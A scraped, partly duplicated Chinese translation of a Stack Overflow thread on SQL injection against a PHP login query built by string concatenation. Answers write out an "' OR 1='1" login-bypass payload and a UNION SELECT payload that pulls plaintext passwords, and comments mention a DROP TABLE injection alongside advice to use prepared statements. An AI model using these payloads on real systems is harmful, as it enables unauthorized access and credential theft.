Warning: file_get_contents(/data/phpspider/zhask/data//catemap/8/mysql/60.json): failed to open stream: No such file or directory in /data/phpspider/zhask/libs/function.php on line 167

Warning: Invalid argument supplied for foreach() in /data/phpspider/zhask/libs/tag.function.php on line 1116

Notice: Undefined index: in /data/phpspider/zhask/libs/function.php on line 180

Warning: array_chunk() expects parameter 1 to be array, null given in /data/phpspider/zhask/libs/function.php on line 181

Warning: file_get_contents(/data/phpspider/zhask/data//catemap/5/url/2.json): failed to open stream: No such file or directory in /data/phpspider/zhask/libs/function.php on line 167

Warning: Invalid argument supplied for foreach() in /data/phpspider/zhask/libs/tag.function.php on line 1116

Notice: Undefined index: in /data/phpspider/zhask/libs/function.php on line 180

Warning: array_chunk() expects parameter 1 to be array, null given in /data/phpspider/zhask/libs/function.php on line 181
Php SQL注入理论_Php_Mysql_Security_Sql Injection_Database Theory - Fatal编程技术网

Php SQL注入理论

Php SQL注入理论,php,mysql,security,sql-injection,database-theory,Php,Mysql,Security,Sql Injection,Database Theory,我一直在数据库中使用ORM层,所以我不介意SQL注入,但是一个朋友给了我这个任务,我仍然不知道如何解决它 我知道PHP脚本只是检查查询的返回是否为!=null(找到与输入的用户名和密码匹配的用户名) PHP中的查询本身如下所示: $sql = "SELECT name FROM users WHERE name='".$name. "' AND password='".$password. "'"; 归档此查询返回的最佳方式是什么!=null或正在检索有效的登录数据(用户名和密码)。密码以明

我一直在数据库中使用ORM层,所以我不介意SQL注入,但是一个朋友给了我这个任务,我仍然不知道如何解决它

我知道PHP脚本只是检查查询的返回是否为!=null(找到与输入的用户名和密码匹配的用户名)

PHP中的查询本身如下所示:

$sql = "SELECT name FROM users WHERE name='".$name. "' AND password='".$password. "'"; 

归档此查询返回的最佳方式是什么!=null或正在检索有效的登录数据(用户名和密码)。密码以明文形式存储在数据库中。我知道存储简单是不好的,我知道使用PDO是好的,但我不知道如何解决他给我的这个有趣的任务,可能是因为我一直在使用PDO。

假设我们有两个输入变量:

$name = "iam";
$password = "aninjection";
这将导致此查询:

$sql = "SELECT name FROM users WHERE name='iam' AND password='aninjection'"; 
现在我们将其添加到
$password
变量中:

$password = "aninjection' OR 1='1";
其结果是:

$sql = "SELECT name FROM users WHERE name='iam' AND password='aninjection' OR 1='1'"; 
此查询现在将生成
true
,并显示用户表中的每个名称。
这当然是一个基本的例子。删除整个表也会造成更大的危害。

假设我们有两个输入变量:

$name = "iam";
$password = "aninjection";
这将导致此查询:

$sql = "SELECT name FROM users WHERE name='iam' AND password='aninjection'"; 
现在我们将其添加到
$password
变量中:

$password = "aninjection' OR 1='1";
其结果是:

$sql = "SELECT name FROM users WHERE name='iam' AND password='aninjection' OR 1='1'"; 
此查询现在将生成
true
,并显示用户表中的每个名称。
这当然是一个基本的例子。删除整个表也会造成更大的危害。

如果您想检索密码,则需要注入密码

$name = "whatever";
$password = "' OR '1'='1' UNION ALL SELECT password from users;--";
这样就可以进行查询

SELECT name FROM users WHERE name='whatever' AND password='' OR '1'='1' UNION ALL SELECT password from users;--'

请参阅,了解攻击者将如何通过注入查询来解决此问题

如果您想要检索密码,您可以插入

$name = "whatever";
$password = "' OR '1'='1' UNION ALL SELECT password from users;--";
这样就可以进行查询

SELECT name FROM users WHERE name='whatever' AND password='' OR '1'='1' UNION ALL SELECT password from users;--'

请参阅,了解攻击者将如何通过注入查询来解决此问题

在数据库中存储普通密码是一个很大的禁忌。它们确实应该被散列。此外,考虑有人输入<代码>的情况;将表用户拖放到此语句中。哎呀,你的桌子不见了。这意味着您需要转义userinputs(永远不要信任用户输入)或使用准备好的语句。我推荐后者。可能的重复不是如何防止SQL注入,正如我告诉过我的,我使用db抽象层,它更多的是理论。
“所以我不介意SQL注入”
-攻击者喜欢这种自信<代码>“PHP中的查询本身看起来像[…]”——我的朋友,这是一个SQL注入漏洞<代码>“密码以明文形式存储在数据库中。”-攻击者也喜欢这一点。。。更重要的是,你到底在问什么?你在这里试图“解决”什么?你被要求破坏你的ORM管理的数据库,或者你被给予一个查询并告诉它如何被入侵?类似“如果我使用mysql_*函数,我就这么做……”这样的话,不管你在代码中实际做了什么?在数据库中存储普通密码是一个大禁忌。它们真的应该被散列。此外,考虑有人输入<代码>的情况;将表用户拖放到此语句中。哎呀,你的桌子不见了。这意味着您需要转义userinputs(永远不要信任用户输入)或使用准备好的语句。我推荐后者。可能的重复不是如何防止SQL注入,正如我告诉过我的,我使用db抽象层,它更多的是理论。
“所以我不介意SQL注入”
-攻击者喜欢这种自信<代码>“PHP中的查询本身看起来像[…]”——我的朋友,这是一个SQL注入漏洞<代码>“密码以明文形式存储在数据库中。”-攻击者也喜欢这一点。。。更重要的是,你到底在问什么?你在这里试图“解决”什么?你被要求破坏你的ORM管理的数据库,或者你被给予一个查询并告诉它如何被入侵?类似“如果我使用mysql_*函数,我就这么做……”这样的话,不管你在代码中实际做了什么?有没有办法检索用户的密码?获取用户名列表并不难。有没有办法检索用户的密码?获取用户名列表并不难。